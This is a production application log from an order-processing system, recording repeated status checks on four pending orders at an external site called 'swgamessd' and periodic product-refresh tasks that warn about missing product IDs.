[2026-03-24 03:22:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03"} 
[2026-03-24 03:22:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"q5IsO6OK3VxXNe55GcsvkAlDOdk14WDE","execution_time":"2026-03-24 03:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03"} 
[2026-03-24 03:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:24:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:24:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:24:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:24:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0SqJzjyKuI2J9FBBJbM1Jrsu8JabuIaP","execution_time":"2026-03-24 03:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:25:04] production.INFO: Executing GetProducts task...  
[2026-03-24 03:25:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:25:04] production.INFO: Executing GetProducts task...  
[2026-03-24 03:25:06] production.INFO: async() رجع: true  
[2026-03-24 03:25:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:25:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:25:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01"} 
[2026-03-24 03:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cNRiV6HDVtc2iW5rmUmtgFN1Vqz3yd9c","execution_time":"2026-03-24 03:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:28:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01"} 
[2026-03-24 03:28:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:28:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:28:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZCU1k4RPc9bUXiIrMbTpAUCmeLFnHWPD","execution_time":"2026-03-24 03:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02"} 
[2026-03-24 03:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:30:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:30:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:30:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:30:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"J1jmz0yXra4rHhFDQtZYJKEjfE3RRHgb","execution_time":"2026-03-24 03:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:30:04] production.INFO: async() رجع: true  
[2026-03-24 03:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:30:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02"} 
[2026-03-24 03:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"gVQnRjDsjxezYfQuMV7U6aNVFCH21bVe","execution_time":"2026-03-24 03:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03"} 
[2026-03-24 03:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YAJtxqPC7UdWyntr12sVVHLbWCvM3OGa","execution_time":"2026-03-24 03:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:35:05] production.INFO: async() رجع: true  
[2026-03-24 03:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03"} 
[2026-03-24 03:36:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","total_operations":4,"sites_count":1} 
